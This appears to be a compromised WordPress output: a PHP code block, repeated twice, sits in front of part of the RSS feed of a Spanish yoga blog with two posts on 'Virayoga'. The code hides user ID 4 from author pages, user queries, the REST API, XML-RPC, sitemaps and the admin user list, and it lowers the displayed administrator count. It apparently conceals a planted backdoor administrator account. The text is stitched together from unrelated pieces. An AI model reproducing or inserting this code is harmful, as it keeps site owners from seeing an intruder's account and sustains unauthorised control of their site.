add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
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    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
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add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
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    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
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    // noop
} );
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	<title>Artes Marciales &#8211; Yoga con Arjuna</title>
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	<item>
		<title>Conoces el VIRAYOGA?</title>
		<link>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/</link>
		<comments>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/#respond</comments>
		<pubDate>Mon, 21 Mar 2016 14:04:47 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Artes Marciales]]></category>
		<category><![CDATA[bloqueos energéticos]]></category>
		<category><![CDATA[preparación vertebral]]></category>
		<category><![CDATA[vira yoga]]></category>
		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Conoces el VIRA YOGA?</p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/">Conoces el VIRAYOGA?</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Para que podáis ver qué es el VIRAYOGA, hoy he preparado un pequeño video ejemplo sobre una de las preparaciones vertebrales del vira yoga: <a href="https://youtu.be/h4smoSveG7g">Conoces el VIRA YOGA?</a></p>
<p style="text-align: justify;">La preparación vertebral, es de los primeros ejercicios que realizamos en nuestra práctica, lo usamos para flexibilizar la columna vertebral y estirar la musculatura anterior y posterior del tronco. Unido a estos beneficios también este ejercicio elimina tensiones, agresividad acumulada, bloqueos energéticos.<span id="more-511"></span></p>
<p style="text-align: justify;">En este video puedes ver la técnica de artes marciales, en este caso como defenderte de un agarre de solapa ante una agresión. y a partir de ahí basándonos en esos gestos de la técnica marcial, sale esta preparación vertebral con tantos beneficios.</p>
<p style="text-align: justify;">Puedes aprovechar para practicarlas, siempre con conciencia y sin prisas. Si quieres saber más del VIRAYOGA contacta conmigo. Y ahora, a practicar y disfrutar!!</p>
<p>Arjuna</p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/">Conoces el VIRAYOGA?</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		</item>
		<item>
		<title>El camino del poder interno, el VIRAYOGA</title>
		<link>http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/</link>
		<comments>http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/#respond</comments>
		<pubDate>Mon, 04 Jan 2016 11:19:39 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[poder]]></category>
		<category><![CDATA[sadhana]]></category>
		<category><![CDATA[shankalpa]]></category>
		<category><![CDATA[Artes Marciales]]></category>
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		<category><![CDATA[beneficios]]></category>
		<category><![CDATA[vira yoga]]></category>

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		<description><![CDATA[<p>Pensar en héroes y heroínas en esta época puede parecer fantasioso pero el Virayoga habla del poder que hay dentro de cada uno de nosotros, un poder de superación y fuerza interna que se asemejan a la fuerza de la que hablaban las antiguas historias de héroes. El trabajo del practicante de VIRAYOGA no solo...&#160;<a href="http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/">El camino del poder interno, el VIRAYOGA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Pensar en héroes y heroínas en esta época puede parecer fantasioso pero el Virayoga habla del poder que hay dentro de cada uno de nosotros, un poder de superación y fuerza interna que se asemejan a la fuerza de la que hablaban las antiguas historias de héroes.</p>
<p style="text-align: justify;">El trabajo del practicante de VIRAYOGA no solo es un conocimiento de asanas de Yoga con técnicas de Artes Marciales. Es mucho más, unifica el equilibrio y la paz que aporta el yoga con la autoconfianza y el trabajo de coordinación de las artes marciales. Permitiéndonos gozar de los beneficios de ambas disciplinas por igual.</p>
<p style="text-align: justify;">Pero no es solo eso. Desde mi punto de vista la parte más autentica  del VIRAYOGA es sin duda, la del crecimiento personal. Como bien dice su nombre es:»EL CAMINO DEL PODER INTERNO».<span id="more-347"></span></p>
<p style="text-align: justify;">Este es el motivo por el que en cada session se trabaja un Shankalpa, una frase afirmativa con una intención concreta para lograr un objetivo. Durante la sadhana dirigimos nuestra energía hacía aquello que queremos conseguir, teniendo presente en todo momento nuestro shankalpa. Este tipo de acciones nos ayuda a fijar objetivos y afianzar nuestras bases para caminar por la vida. Nos despierta un guía interno, nuestro héroe/heroína que nos va a ayudar a superar las adversidades y a tomar consciencia de nuestro presente.</p>
<p style="text-align: justify;">Por todo esto, en nuestra formación contamos con Esther Casermeiro, Psicóloga y Coach que se encargará de la parte de crecimiento personal, ayudándonos a despertar nuestro héroe/heroína intern@.</p>
<p style="text-align: justify;">Ya veis, el Virayoga es un sistema de Yoga super completo! Con asanas, técnicas de las Artes Marciales, meditaciones, pranayamas, crecimiento personal y muchas sorpresas más que están por venir. Todo unido con amor e ilusión para disfrutar de una práctica nueva que nos enriquece en muchas aspectos.</p>
<p>ARJUNA Y DURGA</p>
<p><img class="alignnone size-full wp-image-387" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender.jpg" alt="FullSizeRender" width="1126" height="747" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender.jpg 1126w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-300x199.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-768x509.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-1024x679.jpg 1024w" sizes="(max-width: 1126px) 100vw, 1126px" /></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/">El camino del poder interno, el VIRAYOGA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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